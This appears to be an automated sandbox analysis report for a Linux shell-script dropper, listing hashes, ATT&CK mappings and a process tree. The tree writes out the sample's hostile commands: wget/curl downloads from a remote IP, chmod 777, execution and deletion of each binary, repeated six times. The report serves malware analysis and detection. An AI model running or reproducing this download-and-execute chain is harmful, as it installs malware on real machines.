91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72

Analysis

max time kernel
22s
max time network
88s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/08/2026, 11:00

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General

Target
91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
Size 1KB
Sample260822-m39basgl6x
SHA256 91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72
MD5 7a8c8d13e86e5940896efb162736a5f9
SHA1 7f4950e721cba2e32c0ffc30de61832f2be654a2
SHA512 502fb41c647b37516735c910b064e56962c6f1cbac0350c252f3c01f0af0a83451809c7436398632f225fca83204df891fb8e1af2195614a73b214218fca2f9a
TLSH
T11631748E01241E712042CE8E77A2354DA5CDE5F7689FD7D498480DEA838839CF272F5E
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
836	chmod
843	chmod
808	chmod
815	chmod
822	chmod
829	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/2300fc	809	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/ee01eb	816	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/dd3f2a	823	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/f3cea0	830	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/09e2ad	837	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/6b082a	844	91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dd3f2a	curl
File opened for modification	/tmp/f3cea0	curl
File opened for modification	/tmp/09e2ad	curl
File opened for modification	/tmp/6b082a	curl
File opened for modification	/tmp/2300fc	curl
File opened for modification	/tmp/ee01eb	curl

/tmp/91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
/tmp/91c6c9a8467d997199cf3b4dca10fb48faa5ed2632a5f6b9434752203573ba72.sh
1⤵
- Executes dropped EXE
PID:705
- /usr/bin/wget
  wget http://5.182.210.174/2300fc
  2⤵
  PID:709
- /usr/bin/curl
  curl -O http://5.182.210.174/2300fc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod 777 2300fc
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/2300fc
  ./2300fc bc
  2⤵
  PID:809
- /bin/rm
  rm -rf 2300fc
  2⤵
  PID:811
- /bin/rm
  rm -rf 2300fc.1
  2⤵
  PID:812
- /usr/bin/wget
  wget http://5.182.210.174/ee01eb
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://5.182.210.174/ee01eb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod 777 ee01eb
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/ee01eb
  ./ee01eb bc
  2⤵
  PID:816
- /bin/rm
  rm -rf ee01eb
  2⤵
  PID:818
- /bin/rm
  rm -rf ee01eb.1
  2⤵
  PID:819
- /usr/bin/wget
  wget http://5.182.210.174/dd3f2a
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://5.182.210.174/dd3f2a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/chmod
  chmod 777 dd3f2a
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/dd3f2a
  ./dd3f2a bc
  2⤵
  PID:823
- /bin/rm
  rm -rf dd3f2a
  2⤵
  PID:825
- /bin/rm
  rm -rf dd3f2a.1
  2⤵
  PID:826
- /usr/bin/wget
  wget http://5.182.210.174/f3cea0
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://5.182.210.174/f3cea0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/chmod
  chmod 777 f3cea0
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/f3cea0
  ./f3cea0 bc
  2⤵
  PID:830
- /bin/rm
  rm -rf f3cea0
  2⤵
  PID:832
- /bin/rm
  rm -rf f3cea0.1
  2⤵
  PID:833
- /usr/bin/wget
  wget http://5.182.210.174/09e2ad
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://5.182.210.174/09e2ad
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod 777 09e2ad
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/09e2ad
  ./09e2ad bc
  2⤵
  PID:837
- /bin/rm
  rm -rf 09e2ad
  2⤵
  PID:839
- /bin/rm
  rm -rf 09e2ad.1
  2⤵
  PID:840
- /usr/bin/wget
  wget http://5.182.210.174/6b082a
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://5.182.210.174/6b082a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/chmod
  chmod 777 6b082a
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/6b082a
  ./6b082a bc
  2⤵
  PID:844
- /bin/rm
  rm -rf 6b082a
  2⤵
  PID:846
- /bin/rm
  rm -rf 6b082a.1
  2⤵
  PID:847
- /usr/bin/wget
  wget http://5.182.210.174/d70981
  2⤵
  PID:848

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

2300fc

Path /tmp/2300fc
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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